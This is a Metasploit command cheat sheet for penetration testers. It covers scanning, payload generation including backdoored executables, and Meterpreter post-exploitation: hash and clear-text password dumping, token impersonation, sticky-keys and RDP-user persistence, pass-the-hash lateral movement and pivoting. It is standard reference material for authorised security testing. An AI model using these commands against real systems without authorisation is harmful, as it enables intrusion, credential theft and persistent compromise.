Metasploit Cheat Sheet

Basic usage

`msfconsole`	Start the interactive console
`db_status`	Check the status of postgre
`service postgresql start`	Start the postgre service
`help`	Shows the list of commands
`help [command]`	Shows specific help
`search [term]`	Search in all modules
`help search`	Search options
`hosts`	Show discovered hostst
`services -u`	Discov. services
`workspace`	List workspaces

In-module options

`use [module]`	Use target module
`options`	Shows current module options
`set [option] [value]`	Set target option
`setg [option] [value]`	Set a global variable
`show targets`	Show exploit targets
`show payloads`	Show avaiable payloads
`show advanced`	Show advanced settings
`exploit`	Launch current exploit/module
`exploit -j`	Launch exploit as a job

Only in payload module:

`generate -h`	Show generate options
`generate`	Generate default shellcode
`generate -e [encoder]`	Generate with encoder
`generate -t [format]`	Generate specific format
`generate -x -k [template]`	Backdoor exe
`generate -f [file]`	Output file

Meterpreter

`sysinfo`	Basic system info
`getuid`	Get the current username
`getsystem`	Try to elevate privileges
`netstat`	Shows active connections
`ipconfig`	Shows network interfaces
`arp`	Display arp table
`route`	Display routing table
`hashdump`	Dump hashes
`run hashdump`	Different hash dump
`run [module] [options]`	Run specific module
`background`	Background session
`ps`	Show running processes
`migrate [pid]`	Migrate to process
`run post/windows/manage/migrate`	
`upload [file] .`	Upload file
`download [file]`	Download file
`load [module]`	Load a module

Sessions and jobs management

`sessions`	List all the sessions
`sessions -i [id]`	Interact with session
`sessions -k [id]`	Kill a session
`sessions -K`	Kills all sessions
`jobs`	Active jobs
`jobs -k [id]`	Kill a job
`jobs -K`	Kill all jobs

Nessus integration

```
load nessus
nessus_connect
[user]:[pwd]@[address] ssl_verify
nessus_policy_list
nessus_scan_new [pol id] [name] [target]
nessus_scan_status
nessus_report_list
nessus_report_get [id]
```

To keep Nessus updates, run frequently: `nessuscli update --all`

Scanning

`db_nmap [opts]`	Run classic nmap
`use auxiliary/scanner/portscan/syn`	Syn scanner
`use auxiliary/scanner/portscan/tcp`	Tcp scanner
`use auxiliary/scanner/smb/smb_version`	Check SMB version
`use auxiliary/scanner/smb/smb_login`	SMB login brute

Post Exploitation

Privilege Escalation

Windows

`sysinfo`	Basic system info.
`getuid`	Current username
`run post/windows/gather/win_privs`	Privileges
`run winenum`	Dump Windows info.
`getsystem`	Try to escalate
`post/multi/recon/local_exploit_suggester`	Suggester
`exploit/[OS]/local`	Local exploit modules
`exploit/windows/local/bypassuac`	Bypass UAC
`post/windows/gather/enum_patches`	Enum Win Patches
`load incognito`	Loads incognito
`list_tokens -u`	List tokens
`impersonate_token [token]`	Use token
`load mimikatz`	Loads mimikatz
`wdigest`	Dump clear pwd

Linux

`run post/linux/gather/enum_system`	Linux sysinfo
`post/linux/gather/checkvm`	Check if in a VM
`post/linux/gather/enum_configs`	Dump /etc/files
`post/linux/gather/enum_network`	Enum network info
`post/linux/gather/enum_system`	Dump info
`post/linux/gather/enum_users_history`	Dump command history
`post/multi/gather/ssh_creds`	Dump .ssh keys (lateral)

Mantaining Access

`run persistence`	Persistence module
`run getgui -e -u [usr] -p [psw]`	Enable RDP and add user
`post/windows/manage/sticky_keys`	Sticky keys backdoor

Lateral Movement

`run arpscan -r [range]`	Scan for host in the net
Pass the hash:	
`hashdump`	Dump hashes
`use exploit/windows/smb/psexec`	Psexec module
Ssh lateral movement:	
`post/multi/gather/ssh_creds`	Psexec module
`auxiliary/scanner/ssh/ssh_login_pubkey`	Ssh login with keys

Pivoting

`run autoroute -s 10.0.0.0/24`	Add route
`portfwd add -l [lport] -r [rhost] -p [rport]`	Port forward
`use auxiliary/server/socks4a`	Socks4 proxy
`proxychains4 -q [command]`	Proxy through socks4a

Pillaging

`post/windows/gather/enum_applications`	Enum installed apps.
`post/windows/gather/enum_logged_on_users`	Enum logged in users
`post/windows/gather/enum_shares`	Enum shares
`post/windows/gather/enum_snmp`	Enum SNMP informations
`post/windows/gather/usb_history`	Print USB history
`post/windows/gather/enum_domain`	Dump active domain hosts